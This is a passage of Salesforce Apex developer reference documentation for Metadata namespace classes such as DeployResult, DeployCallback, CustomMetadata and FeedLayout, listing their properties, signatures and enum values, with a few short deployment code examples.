SummaryLayoutItem Class
Controls the appearance of an individual field and its column and row position within the highlights panel grid, when Case Feed is
enabled. You can have two fields per each grid in a highlights panel.
UiBehavior Enum
Describes the behavior for a layout item on a layout page.
AnalyticsCloudComponentLayoutItem Class
Represents the settings for a Wave Analytics dashboard on a standard or custom page.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see
“AnalyticsCloudComponentLayoutItem” in the Metadata API Developer Guide.
IN THIS SECTION:
AnalyticsCloudComponentLayoutItem Properties
AnalyticsCloudComponentLayoutItem Methods
AnalyticsCloudComponentLayoutItem Properties
The following are properties for AnalyticsCloudComponentLayoutItem.
IN THIS SECTION:
assetType
Specifies the type of Wave Analytics asset.
devName
Unique development name of the dashboard to add.
error
An error string that is populated only when an error occurred in the underlying dashboard.
filter
Dashboard filters for mapping data fields in the dashboard to the object’s fields.
2008
height
Specifies the height of the dashboard, in pixels.
hideOnError
Controls whether users see a dashboard that has an error.
showSharing
If set to true, and the dashboard is shareable the dashboard shows the Share icon. If set to false, the dashboard doesn’t show the
Share icon.
showTitle
If true, includes the dashboard’s title above the dashboard. If false, the dashboard appears without a title.
width
Specifies the width of the dashboard, in pixels or percentage.
assetType
Specifies the type of Wave Analytics asset.
Signature
public String assetType {get; set;}
Property Value
Type: String
devName
Unique development name of the dashboard to add.
Signature
public String devName {get; set;}
Property Value
Type: String
error
An error string that is populated only when an error occurred in the underlying dashboard.
Signature
Property Value
Type: String
2009
filter
Dashboard filters for mapping data fields in the dashboard to the object’s fields.
Signature
public String filter {get; set;}
Property Value
Type: String
height
Specifies the height of the dashboard, in pixels.
Signature
public Integer height {get; set;}
Property Value
Type: Integer
hideOnError
Controls whether users see a dashboard that has an error.
Signature
public Boolean hideOnError {get; set;}
Property Value
Type: Boolean
showSharing
If set to true, and the dashboard is shareable the dashboard shows the Share icon. If set to false, the dashboard doesn’t show the Share
icon.
Signature
public Boolean showSharing {get; set;}
Property Value
Type: Boolean
showTitle
If true, includes the dashboard’s title above the dashboard. If false, the dashboard appears without a title.
2010
Signature
public Boolean showTitle {get; set;}
Property Value
Type: Boolean
width
Specifies the width of the dashboard, in pixels or percentage.
Signature
public String width {get; set;}
Property Value
Type: String
AnalyticsCloudComponentLayoutItem Methods
The following are methods for AnalyticsCloudComponentLayoutItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.AnalyticsCloudComponentLayoutItem.
clone()
Makes a duplicate copy of the Metadata.AnalyticsCloudComponentLayoutItem.
Signature
Return Value
Type: Object
ConsoleComponent Class
Represents a custom console component on a section of a page layout.
Namespace
Metadata
2011
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “ConsoleComponent” in the
Metadata API Developer Guide.
IN THIS SECTION:
ConsoleComponent Properties
ConsoleComponent Methods
ConsoleComponent Properties
The following are properties for ConsoleComponent.
IN THIS SECTION:
height
The height of the custom console component in pixels.
location
The location of the custom console component on the page layout. Valid values are right, left, top, and bottom.
visualforcePage
The unique name of the custom console component.
width
The width of the custom console component in pixels.
height
The height of the custom console component in pixels.
Signature
Property Value
Type: Integer
location
The location of the custom console component on the page layout. Valid values are right, left, top, and bottom.
Signature
public String location {get; set;}
Property Value
Type: String
2012
visualforcePage
The unique name of the custom console component.
Signature
public String visualforcePage {get; set;}
Property Value
Type: String
width
The width of the custom console component in pixels.
Signature
public Integer width {get; set;}
Property Value
Type: Integer
ConsoleComponent Methods
The following are methods for ConsoleComponent.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.ConsoleComponent.
clone()
Makes a duplicate copy of the Metadata.ConsoleComponent.
Signature
Return Value
Type: Object
Container Class
Represents a location and style in which to display more than one custom console component in the sidebars of the console.
2013
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “Container” in the Metadata
API Developer Guide.
IN THIS SECTION:
Container Properties
Container Methods
Container Properties
The following are properties for Container.
IN THIS SECTION:
height
The height of the component’s container. The unit property determines the unit of measurement, in pixels or percent.
isContainerAutoSizeEnabled
If set to true, stacked console components in the sidebars autosize vertically.
region
The location of the component’s container (right, left, bottom, top).
sidebarComponents
Represents a specific custom console component to display in the components’ container.
style
The style of the container in which to display multiple components (stack, tab, accordion).
unit
The unit of measurement, in pixels or percent, for the height or width of the components’ container.
width
The width of the component’s container. The unit property determines the unit of measurement, in pixels or percent.
height
The height of the component’s container. The unit property determines the unit of measurement, in pixels or percent.
Signature
Property Value
Type: Integer
2014
isContainerAutoSizeEnabled
If set to true, stacked console components in the sidebars autosize vertically.
Signature
public Boolean isContainerAutoSizeEnabled {get; set;}
Property Value
Type: Boolean
region
The location of the component’s container (right, left, bottom, top).
Signature
public String region {get; set;}
Property Value
Type: String
sidebarComponents
Represents a specific custom console component to display in the components’ container.
Signature
public List<Metadata.SidebarComponent> sidebarComponents {get; set;}
Property Value
Type: List<Metadata.SidebarComponent>
style
The style of the container in which to display multiple components (stack, tab, accordion).
Signature
public String style {get; set;}
Property Value
Type: String
unit
The unit of measurement, in pixels or percent, for the height or width of the components’ container.
2015
Signature
public String unit {get; set;}
Property Value
Type: String
width
The width of the component’s container. The unit property determines the unit of measurement, in pixels or percent.
Signature
Property Value
Type: Integer
Container Methods
The following are methods for Container.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.Container.
clone()
Makes a duplicate copy of the Metadata.Container.
Signature
Return Value
Type: Object
CustomConsoleComponents Class
Namespace
Metadata
2016
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “CustomConsoleComponents”
in the Metadata API Developer Guide.
IN THIS SECTION:
CustomConsoleComponents Properties
CustomConsoleComponents Methods
CustomConsoleComponents Properties
The following are properties for CustomConsoleComponents.
IN THIS SECTION:
primaryTabComponents
subtabComponents
primaryTabComponents
Signature
public Metadata.PrimaryTabComponents primaryTabComponents {get; set;}
Property Value
Type: Metadata.PrimaryTabComponents
subtabComponents
Signature
public Metadata.SubtabComponents subtabComponents {get; set;}
Property Value
Type: Metadata.SubtabComponents
CustomConsoleComponents Methods
The following are methods for CustomConsoleComponents.
2017
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.CustomConsoleComponents.
clone()
Makes a duplicate copy of the Metadata.CustomConsoleComponents.
Signature
Return Value
Type: Object
CustomMetadata Class
Represents records of custom metadata types.
Namespace
Metadata
Usage
Use Metadata.CustomMetadata to represent records of custom metadata types in Apex. For more information, see Custom
Metadata Types in the Metadata API Developer Guide.
Example
// Set up custom metadata to be created in the subscriber org.
Metadata.CustomMetadata customMetadata = new Metadata.CustomMetadata();
customMetadata.fullName = 'ISVNamespace__MetadataTypeName.MetadataRecordName';
Metadata.CustomMetadataValue customField = new Metadata.CustomMetadataValue();

customField.field = 'customField__c';
customField.value = 'New value';
customMetadata.values.add(customField);
Note: When you assign namespaces to records, provide full, qualified record names to the app. If both the type and the record
are in ISVNameSpace, use something like: customMetadata.fullName =
'ISVNameSpace__MetadataTypeName.ISVNameSpace__MetadataRecordName'
IN THIS SECTION:
CustomMetadata Properties
CustomMetadata Methods
2018
CustomMetadata Properties
The following are properties for CustomMetadata.
IN THIS SECTION:
description
The description of the custom metadata.
label
The label of the custom metadata record.
protected_x
Property that describes whether the custom metadata record is a protected component.
values
A list of custom metadata values, such as custom fields, for the custom metadata record.
description
The description of the custom metadata.
Signature
Property Value
Type: String
label
The label of the custom metadata record.
Signature
Property Value
Type: String
protected_x
Property that describes whether the custom metadata record is a protected component.
Signature
public Boolean protected_x {get; set;}
Property Value
Type: Boolean
2019
values
A list of custom metadata values, such as custom fields, for the custom metadata record.
Signature
public List<Metadata.CustomMetadataValue> values {get; set;}
Property Value
Type: List<Metadata.CustomMetadataValue>
CustomMetadata Methods
The following are methods for CustomMetadata.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.CustomMetadata.
clone()
Makes a duplicate copy of the Metadata.CustomMetadata.
Signature
Return Value
Type: Object
CustomMetadataValue Class
Represents custom metadata values for a custom metadata component.
Namespace
Metadata
Usage
Use Metadata.CustomMetadataValue to access values for custom fields of custom metadata records.
Supported Apex primitive types are:
• Boolean
• Date
• DateTime
• Decimal
2020
• Double
• Integer
• Long
• String
Example
// Set a custom field value for a custom metadata record
customField.field = 'CustomField1__c';
customField.value = 'New Value';
IN THIS SECTION:
CustomMetadataValue Properties
CustomMetadataValue Methods
CustomMetadataValue Properties
The following are properties for CustomMetadataValue.
IN THIS SECTION:
field
The field name for the custom metadata value.
value
The field value for the custom metadata value.
field
The field name for the custom metadata value.
Signature
public String field {get; set;}
Property Value
Type: String
value
The field value for the custom metadata value.
Signature
public Object value {get; set;}
2021
Property Value
Type: Object
Supported Apex primitive types are:
• Boolean
• Date
• DateTime
• Decimal
• Double
• Integer
• Long
• String
When setting the value for relationship fields, use the qualified API name of the related metadata, not the ID.
For more information, see Primitive Data Types.
CustomMetadataValue Methods
The following are methods for CustomMetadataValue.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.CustomMetadataValue.
clone()
Makes a duplicate copy of the Metadata.CustomMetadataValue.
Signature
Return Value
Type: Object
DeployCallback Interface
An interface for metadata deployment callback classes.
Namespace
Metadata
2022
Usage
You must provide a callback class for the asynchronous deployment of custom metadata through Apex. This class must implement the
Metadata.DeployCallback interface.
Salesforce calls your DeployCallback.handleResult() method asynchronously once the queued deployment completes.
Because the callback is called as asynchronous Apex after deployment, there may be a brief period where the deploy has completed,
but your callback has not been called yet.
IN THIS SECTION:
DeployCallback Methods
DeployCallback Example Implementation
DeployCallback Methods
The following are methods for DeployCallback.
IN THIS SECTION:
handleResult(var1, var2)
Method that is called when the asynchronous deployment of custom metadata completes.
handleResult(var1, var2)
Method that is called when the asynchronous deployment of custom metadata completes.
Signature
public void handleResult(Metadata.DeployResult var1, Metadata.DeployCallbackContext
var2)
Parameters
var1
Type: Metadata.DeployResult
The results of the asynchronous deployment.
var2
Type: Metadata.DeployCallbackContext
The context for the queued asynchronous deployment job.
Return Value
Type: void
2023
DeployCallback Example Implementation

This is an example implementation of the Metadata.DeployCallback interface.
public class MyCallback implements Metadata.DeployCallback {
public void handleResult(Metadata.DeployResult result,
Metadata.DeployCallbackContext context) {
if (result.status == Metadata.DeployStatus.Succeeded) {
// Deployment was successful
} else {
// Deployment was not successful
}
}
}
The following example uses this implementation for a deployment.

// Setup callback and deploy
MyCallback callback = new MyCallback();
Metadata.Operations.enqueueDeployment(mdContainer, callback);
DeployCallbackContext Class
Represents context information for a deployment job.
Namespace
Metadata
Usage
After an asynchronous metadata deployment finishes, Salesforce provides an instance ofMetadata.DeployCallbackContext
in an asynchronous call to your implementation of handleResult() in your Metadata.DeployCallback class.
Example

// Check the callback job ID for the deployment
Id jobId = context.getCallbackJobId();
// ...process the results...
}
IN THIS SECTION:
DeployCallbackContext Methods
DeployCallbackContext Methods
The following are methods for DeployCallbackContext.
2024
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.DeployCallbackContext.
getCallbackJobId()
Gets the asynchronous Apex job ID for the callback job.
clone()
Makes a duplicate copy of the Metadata.DeployCallbackContext.
Signature
Return Value
Type: Object
getCallbackJobId()
Gets the asynchronous Apex job ID for the callback job.
Signature
public Id getCallbackJobId()
Return Value
Type: Id
DeployContainer Class
Represents a container for custom metadata components to be deployed.
Namespace
Metadata
Usage
Use Metadata.DeployContainer to manage custom metadata components for deployment. A container must have one or
more components before being deployed.
Example
// Use DeployContainer for deployment
Metadata.DeployContainer mdContainer = new Metadata.DeployContainer();
mdContainer.addMetadata(customMetadata);
2025
...
// Enqueue deploy
Metadata.Operations.enqueueDeployment(mdContainer, callback);
IN THIS SECTION:
DeployContainer Methods
DeployContainer Methods
The following are methods for DeployContainer.
IN THIS SECTION:
addMetadata(md)
Add a custom metadata component to the container.
clone()
Makes a duplicate copy of the Metadata.DeployContainer.
getMetadata()
Retrieves a list of custom metadata components from the container.
removeMetadata(md)
Removes a metadata component from the container.
removeMetadataByFullName(fullName)
Removes a metadata component from the container using the component’s full name.
addMetadata(md)
Add a custom metadata component to the container.
Signature
public void addMetadata(Metadata.Metadata md)
Parameters
md
Type: Metadata.Metadata
A custom metadata component class that derives from Metadata.Metadata. Avoid adding components to a
Metadata.DeployContainerthat have the same Metadata.Metadata.fullName because it causes deployment
errors.
Return Value
Type: void
2026
clone()
Makes a duplicate copy of the Metadata.DeployContainer.
Signature
Return Value
Type: Object
getMetadata()
Retrieves a list of custom metadata components from the container.
Signature
public List<Metadata.Metadata> getMetadata()
Return Value
Type: List<Metadata.Metadata>
removeMetadata(md)
Removes a metadata component from the container.
Signature
public Boolean removeMetadata(Metadata.Metadata md)
Parameters
md
Type: Metadata.Metadata
Metadata component to remove.
Return Value
Type: Boolean
Returns true if the container changed as a result of the call.
removeMetadataByFullName(fullName)
Removes a metadata component from the container using the component’s full name.
Signature
public Boolean removeMetadataByFullName(String fullName)
2027
Parameters
fullName
Type: String
Full name of the component to remove.
Return Value
Type: Boolean
Returns true if the container changed as a result of the call.
DeployDetails Class
Contains detailed information on deployed components.
Namespace
Metadata
Usage
Use this class to obtain a list of the successfully and unsuccessfully deployed components after a completed deployment by Salesforce
in your Metadata.DeployCallback results.
IN THIS SECTION:
DeployDetails Properties
DeployDetails Methods
DeployDetails Properties
The following are properties for DeployDetails.
IN THIS SECTION:
componentFailures
Contains a list of information about components that failed to deploy.
componentSuccesses
Contains a list of information about components that deployed successfully.
componentFailures
Contains a list of information about components that failed to deploy.
Signature
public List<Metadata.DeployMessage> componentFailures {get; set;}
2028
Property Value
Type: List<Metadata.DeployMessage>
componentSuccesses
Contains a list of information about components that deployed successfully.
Signature
public List<Metadata.DeployMessage> componentSuccesses {get; set;}
Property Value
DeployDetails Methods
The following are methods for DeployDetails.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.DeployDetails.
clone()
Makes a duplicate copy of the Metadata.DeployDetails.
Signature
Return Value
Type: Object
DeployMessage Class
Represents result information for the deployment of a metadata component.
Namespace
Metadata
Usage
Use DeployMessage to access detailed information about component deployments. Salesforce provides a list of DeployMessages
for a completed deployment via the DeployDetails and DeployResults instances sent in the
DeployCallback.handleResult() callback.
2029
IN THIS SECTION:
DeployMessage Properties
DeployMessage Methods
DeployMessage Properties
The following are properties for DeployMessage.
IN THIS SECTION:
changed
Determines whether the component was changed after deployment. If true, the component was changed as a result of the deployment.
If false, the deployed component was the same as the corresponding component already in the org.
columnNumber
Each component is represented by a text file. If an error occurs during deployment, this property represents the column of the text
file where the error occurred.
componentType
The metadata type of the component in the deployment.
created
If true, the component was created as a result of the deployment. If false, the component was modified as a result of the deployment.
createdDate
The date and time when the component was created as a result of the deployment.
deleted
If true, the component was deleted as a result of the deployment. If false, the component was either new or modified as result of
the deployment.
fileName
The name of the file in the metadata archive used to deploy the component.
fullName
Full name for the custom metadata component.
id
ID of the component that was deployed.
lineNumber
Each component is represented by a text file. If an error occurs during deployment, this field represents the line number of the text
file where the error occurred.
problem
If an error or warning occurred, this field contains a description of the problem that caused the deployment to fail.
problemType
Indicates the problem type, for example, an error or warning.
success
Indicates whether the component was successfully deployed (true) or not (false).
2030
changed
Determines whether the component was changed after deployment. If true, the component was changed as a result of the deployment.
If false, the deployed component was the same as the corresponding component already in the org.
Signature
public Boolean changed {get; set;}
Property Value
Type: Boolean
columnNumber
Each component is represented by a text file. If an error occurs during deployment, this property represents the column of the text file
where the error occurred.
Signature
public Integer columnNumber {get; set;}
Property Value
Type: Integer
componentType
The metadata type of the component in the deployment.
Signature
public String componentType {get; set;}
Property Value
Type: String
created
If true, the component was created as a result of the deployment. If false, the component was modified as a result of the deployment.
Signature
public Boolean created {get; set;}
Property Value
Type: Boolean
2031
createdDate
The date and time when the component was created as a result of the deployment.
Signature
public Datetime createdDate {get; set;}
Property Value
Type: Datetime
deleted
If true, the component was deleted as a result of the deployment. If false, the component was either new or modified as result of the
deployment.
Signature
public Boolean deleted {get; set;}
Property Value
Type: Boolean
fileName
The name of the file in the metadata archive used to deploy the component.
Signature
Property Value
Type: String
fullName
Full name for the custom metadata component.
Signature
Property Value
Type: String
id
ID of the component that was deployed.
2032
Signature
public Id id {get; set;}
Property Value
Type: Id
lineNumber
Each component is represented by a text file. If an error occurs during deployment, this field represents the line number of the text file
where the error occurred.
Signature
public Integer lineNumber {get; set;}
Property Value
Type: Integer
problem
If an error or warning occurred, this field contains a description of the problem that caused the deployment to fail.
Signature
public String problem {get; set;}
Property Value
Type: String
problemType
Indicates the problem type, for example, an error or warning.
Signature
public Metadata.DeployProblemType problemType {get; set;}
Property Value
Type: Metadata.DeployProblemType
success
Indicates whether the component was successfully deployed (true) or not (false).
Signature
2033
Property Value
Type: Boolean
DeployMessage Methods
The following are methods for DeployMessage.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.DeployMessage.
clone()
Makes a duplicate copy of the Metadata.DeployMessage.
Signature
Return Value
Type: Object
DeployProblemType Enum
Describes the problem type for an unsuccessful component deploy.
Enum Values
The following are the values of the Metadata.DeployProblemType enum.
Value Description
Error The deploy problem is an error.
Warning The deploy problem is a warning.
DeployResult Class
Represents the results of a metadata deployment.
Namespace
Metadata
Usage
After an asynchronous metadata deployment finishes, Salesforce provides an instance of Metadata.DeployResult in a call to
your implementation of handleResult() in your Metadata.DeployCallback class.
2034
Example

if (result.status == Metadata.DeployStatus.Succeeded) {
// Deployment was successful
} else {
// Deployment was not successful
}
}
IN THIS SECTION:
DeployResult Properties
DeployResult Methods
DeployResult Properties
The following are properties for DeployResult.
IN THIS SECTION:
canceledBy
ID of the user who canceled the queued deployment.
canceledByName
Full name of the user who canceled the queued deployment.
checkOnly
Indicates whether the deployment checked only the validity of the deployed files without making changes in the org. A check-only
deployment does not deploy components or change the org in any way.
completedDate
Date and time for when the deployment process ended.
createdBy
ID of the user who created the deployment job.
createdByName
Full name of the user who created the deployment job.
createdDate
Date and time the deployment job was first queued.
details
Provides the details for components in a completed deployment.
done
Indicates whether Salesforce finished processing the deployment.
errorMessage
Message corresponding to the values in the errorStatusCode property, if any.
2035
errorStatusCode
If an error occurs during deployment, a status code is returned. The message corresponding to the status code is returned in the
errorMessagefield property.
id
ID of the deployment job.
ignoreWarnings
Specifies whether a deployment continues, even if the deployment generates warnings.
lastModifiedDate
Date and time of the last update for the deployment process.
messages
A list of all the detail messages for a deployment.
numberComponentErrors
The number of components that generated errors during the deployment.
numberComponentsDeployed
The number of components deployed in the deployment process. Use this value with the numberComponentsTotal property
to get an estimate of the deployment’s progress.
numberComponentsTotal
The total number of components in the deployment. Use this value with the numberComponentsDeployed property to get
an estimate of the deployment’s progress.
rollbackOnError
Indicates whether any failure causes a complete rollback (true) or not (false) of the deployment.
startDate
Date and time the deployment process began.
stateDetail
Indicates which component is being deployed.
status
Indicates the current state of the deployment.
success
Indicates whether the deployment was successful (true) or not (false).
canceledBy
ID of the user who canceled the queued deployment.
Signature
public String canceledBy {get; set;}
Property Value
Type: String
2036
canceledByName
Full name of the user who canceled the queued deployment.
Signature
public String canceledByName {get; set;}
Property Value
Type: String
checkOnly
Indicates whether the deployment checked only the validity of the deployed files without making changes in the org. A check-only
deployment does not deploy components or change the org in any way.
Signature
public Boolean checkOnly {get; set;}
Property Value
Type: Boolean
completedDate
Date and time for when the deployment process ended.
Signature
public Datetime completedDate {get; set;}
Property Value
Type: Datetime
createdBy
ID of the user who created the deployment job.
Signature
public String createdBy {get; set;}
Property Value
Type: String
createdByName
Full name of the user who created the deployment job.
2037
Signature
public String createdByName {get; set;}
Property Value
Type: String
createdDate
Date and time the deployment job was first queued.
Signature
public Datetime createdDate {get; set;}
Property Value
Type: Datetime
details
Provides the details for components in a completed deployment.
Signature
public Metadata.DeployDetails details {get; set;}
Property Value
Type: Metadata.DeployDetails
done
Indicates whether Salesforce finished processing the deployment.
Signature
public Boolean done {get; set;}
Property Value
Type: Boolean
errorMessage
Message corresponding to the values in the errorStatusCode property, if any.
Signature
2038
Property Value
Type: String
errorStatusCode
If an error occurs during deployment, a status code is returned. The message corresponding to the status code is returned in the
errorMessagefield property.
Signature
public String errorStatusCode {get; set;}
Property Value
Type: String
For a description of each status code value, see “StatusCode” under “Core Data Types Used in API Calls” in the SOAP API Developer Guide.
id
ID of the deployment job.
Signature
public Id id {get; set;}
Property Value
Type: Id
ignoreWarnings
Specifies whether a deployment continues, even if the deployment generates warnings.
Signature
public Boolean ignoreWarnings {get; set;}
Property Value
Type: Boolean
lastModifiedDate
Date and time of the last update for the deployment process.
Signature
public Datetime lastModifiedDate {get; set;}
2039
Property Value
Type: Datetime
messages
A list of all the detail messages for a deployment.
Signature
public List<Metadata.DeployMessage> messages {get; set;}
Property Value
numberComponentErrors
The number of components that generated errors during the deployment.
Signature
public Integer numberComponentErrors {get; set;}
Property Value
Type: Integer
numberComponentsDeployed
The number of components deployed in the deployment process. Use this value with the numberComponentsTotal property
to get an estimate of the deployment’s progress.
Signature
public Integer numberComponentsDeployed {get; set;}
Property Value
Type: Integer
numberComponentsTotal
The total number of components in the deployment. Use this value with the numberComponentsDeployed property to get an
estimate of the deployment’s progress.
Signature
public Integer numberComponentsTotal {get; set;}
2040
Property Value
Type: Integer
rollbackOnError
Indicates whether any failure causes a complete rollback (true) or not (false) of the deployment.
Signature
public Boolean rollbackOnError {get; set;}
Property Value
Type: Boolean
startDate
Date and time the deployment process began.
Signature
public Datetime startDate {get; set;}
Property Value
Type: Datetime
stateDetail
Indicates which component is being deployed.
Signature
public String stateDetail {get; set;}
Property Value
Type: String
status
Indicates the current state of the deployment.
Signature
public Metadata.DeployStatus status {get; set;}
Property Value
Type: Metadata.DeployStatus
2041
success
Indicates whether the deployment was successful (true) or not (false).
Signature
Property Value
Type: Boolean
DeployResult Methods
The following are methods for DeployResult.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.DeployResult.
clone()
Makes a duplicate copy of the Metadata.DeployResult.
Signature
Return Value
Type: Object
DeployStatus Enum
The result status of a deployment.
Usage
Metadata.DeployResult.status uses this enum to describe the results of the deployment.
Enum Values
The following are the values of the Metadata.DeployStatus enum.
Value Description
Canceled The queued deployment was canceled.
Canceling The queued deployment is being canceled.
Failed The deployment failed.
2042
Value Description
InProgress The deployment has been started and is in progress.
Pending The deployment has been queued but not started.
Succeeded The deployment succeeded.
SucceededPartial The deployment succeeded, but some components might not have been successfully
deployed. Check Metadata.DeployResult for more details.
FeedItemTypeEnum Enum
The type of feed item in a feed-based page layout.
Enum Values
The following are the values of the Metadata.FeedItemTypeEnum enum.
Value Description
ActivityEvent Activity on tasks and events associated with a case. Available only on Case layouts.
AdvancedTextPost Group announcements posted on a feed.
AnnouncementPost Not used.
ApprovalPost Approvals submitted on a feed.
AttachArticleEvent Activity related to attaching articles to cases.
BasicTemplateFeedItem Activity from the Log a Call action. Available only on layouts for objects that support
Activities (tasks and events).
CallLogPost Activity from the Log a Call action. Available only on layouts for objects that support
Activities (tasks and events).
CanvasPost Posts a canvas app makes on a feed.
CaseCommentPost Activity from the Case Note action. Available only on Case layouts.
ChangeStatusPost Activity from the Change Status action. Available only on Case layouts.
ChatTranscriptPost Activity related to attaching Live Agent chat transcripts to cases. Available only on
Case layouts.
CollaborationGroupCreated Creating a public group.
CollaborationGroupUnarchived Not used.
ContentPost Attaching a file to a post.
CreateRecordEvent Creating a record from the publisher.
DashboardComponentAlert Not used.
DashboardComponentSnapshot Posting a dashboard snapshot on a feed.
2043
Value Description
EmailMessageEvent Activity from the Email action. Available only on Case layouts.
FacebookPost Not used.
LinkPost Attaching a URL to a post.
MilestoneEvent Changing the milestone status on a case. Available only on Case layouts.
PollPost Posting a poll on a feed.
ProfileSkillPost Adding skills to a user’s Chatter profile.
QuestionPost Posting a question on a feed.
ReplyPost Activity from the Portal action. Available only on Case layouts.
RypplePost Creating a Thanks badge in Work.com.
SocialPost Activity on Twitter from the Social Post action.
TestItem Creating a text post from the publisher.
TextPost Making a change or group of changes to a tracked field.
TrackedChange Not used.
Undefined Undefined feed item.
UserStatus Not used.
FeedLayout Class
Represents the values that define the feed view of a feed-based page layout. Feed-based layouts are available on Account, Case, Contact,
Lead, Opportunity, custom, and external objects. They include a feed view and a detail view.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “FeedLayout” in the Metadata
IN THIS SECTION:
FeedLayout Properties
FeedLayout Methods
FeedLayout Properties
The following are properties for FeedLayout.
2044
IN THIS SECTION:
autocollapsePublisher
Specifies whether the publisher is collapsed when the page loads (true) or not (false).
compactFeed
Specifies whether the feed-based page layout uses a compact feed (true) or not (false). If set to true, feed items on the page are
collapsed by default, and the feed view has an updated design.
feedFilterPosition
Indicates where the feed filters list is included in the layout.
feedFilters
The individual filters displayed in the feed filters list.
fullWidthFeed
Specifies whether the feed expands horizontally to take up all available space on the page (true) or not (false).
hideSidebar
Specifies whether the sidebar is hidden (true) or not (false).
highlightExternalFeedItems
Controls whether to highlight external feed items (true) or not (false).
leftComponents
The individual components displayed in the left column of the feed view.
rightComponents
Lists the individual components displayed in the right column of the feed view.
useInlineFiltersInConsole
Indicates whether to use inline filters in the Salesforce console.
autocollapsePublisher
Specifies whether the publisher is collapsed when the page loads (true) or not (false).
Signature
public Boolean autocollapsePublisher {get; set;}
Property Value
Type: Boolean
compactFeed
Specifies whether the feed-based page layout uses a compact feed (true) or not (false). If set to true, feed items on the page are collapsed
by default, and the feed view has an updated design.
Signature
public Boolean compactFeed {get; set;}
2045
Property Value
Type: Boolean
feedFilterPosition
Indicates where the feed filters list is included in the layout.
Signature
public Metadata.FeedLayoutFilterPosition feedFilterPosition {get; set;}
Property Value
Type: FeedLayoutFilterPosition Enum
feedFilters
The individual filters displayed in the feed filters list.
Signature
public List<Metadata.FeedLayoutFilter> feedFilters {get; set;}
Property Value
Type: List<FeedLayoutFilter Class>.
fullWidthFeed
Specifies whether the feed expands horizontally to take up all available space on the page (true) or not (false).
Signature
public Boolean fullWidthFeed {get; set;}
Property Value
Type: Boolean
hideSidebar
Specifies whether the sidebar is hidden (true) or not (false).
Signature
public Boolean hideSidebar {get; set;}
Property Value
Type: Boolean
2046
highlightExternalFeedItems
Controls whether to highlight external feed items (true) or not (false).
Signature
public Boolean highlightExternalFeedItems {get; set;}
Property Value
Type: Boolean
leftComponents
The individual components displayed in the left column of the feed view.
Signature
public List<Metadata.FeedLayoutComponent> leftComponents {get; set;}
Property Value
Type: List<FeedLayoutComponent Class>
rightComponents
Lists the individual components displayed in the right column of the feed view.
Signature
public List<Metadata.FeedLayoutComponent> rightComponents {get; set;}
Property Value
Type: List<FeedLayoutComponent Class>
useInlineFiltersInConsole
Indicates whether to use inline filters in the Salesforce console.
Signature
public Boolean useInlineFiltersInConsole {get; set;}
Property Value
Type: Boolean
FeedLayout Methods
The following are methods for FeedLayout.
2047
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.FeedLayout.
clone()
Makes a duplicate copy of the Metadata.FeedLayout.
Signature
Return Value
Type: Object
FeedLayoutComponent Class
Represents a component in the feed view of a feed-based page layout.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “FeedLayoutComponent” in
the Metadata API Developer Guide.
IN THIS SECTION:
FeedLayoutComponent Properties
FeedLayoutComponent Methods
FeedLayoutComponent Properties
The following are properties for FeedLayoutComponent.
See FeedLayoutComponent in the Metadata API Developer Guide
IN THIS SECTION:
componentType
Represents a component in the feed view of a feed-based page layout. The type of component is required.
height
The height, in pixels, of the component. Doesn’t apply to standardComponents
page_x
The name of the Visualforce page used as a custom component.
2048
componentType
Represents a component in the feed view of a feed-based page layout. The type of component is required.
Signature
public Metadata.FeedLayoutComponentType componentType {get; set;}
Property Value
Type: Metadata.FeedLayoutComponentType on page 2050
height
The height, in pixels, of the component. Doesn’t apply to standardComponents
Signature
Property Value
Type: Integer
page_x
The name of the Visualforce page used as a custom component.
Signature
public String page_x {get; set;}
Property Value
Type: String
FeedLayoutComponent Methods
The following are methods for FeedLayoutComponent.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.FeedLayoutComponent.
clone()
Makes a duplicate copy of the Metadata.FeedLayoutComponent.
Signature
2049
Return Value
Type: Object
FeedLayoutComponentType Enum
Indicates the type of feed layout component.
Enum Values
The following are the values of the Metadata.FeedLayoutComponentType enum.
Value Description
CaseExperts List of case experts.
CaseUnifiedFiles List of all files attached to the case.
CustomButtons Custom button.
CustomLinks Custom link.
Followers List of followers.
Following Icon that toggles between a Follow button (if the user viewing a record doesn’t
already follow it) and a Following indicator (if the user viewing a record does follow
it).
HelpAndToolLinks Icons that link to the help topic for the page, the page layout, and, the printable
view of the page. Available only on Case layouts.
Milestones Milestone tracker, which lets users see the status of a milestone on a case. Available
only on Case layouts.
SimilarCases List of similar cases.
Topics List of topics related to the record.
Visualforce Custom Visualforce component.
FeedLayoutFilter Class
Represents a feed filter option in the feed view of a feed-based page layout. A filter can have only standardFilter or
feedItemType set.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “FeedLayoutFilter” in the
2050
IN THIS SECTION:
FeedLayoutFilter Properties
FeedLayoutFilter Methods
FeedLayoutFilter Properties
The following are properties for FeedLayoutFilter.
IN THIS SECTION:
feedFilterName
The name of a CustomFeedFilter component. Names are prefixed with the name of the parent object. For example,
Case.MyCustomFeedFilter.
feedFilterType
The type of filter.
feedItemType
The type of feed item to display.
feedFilterName
The name of a CustomFeedFilter component. Names are prefixed with the name of the parent object. For example,
Case.MyCustomFeedFilter.
Signature
public String feedFilterName {get; set;}
Property Value
Type: String
feedFilterType
The type of filter.
Signature
public Metadata.FeedLayoutFilterType feedFilterType {get; set;}
Property Value
Type: FeedLayoutFilterType Enum
feedItemType
The type of feed item to display.
2051
Signature
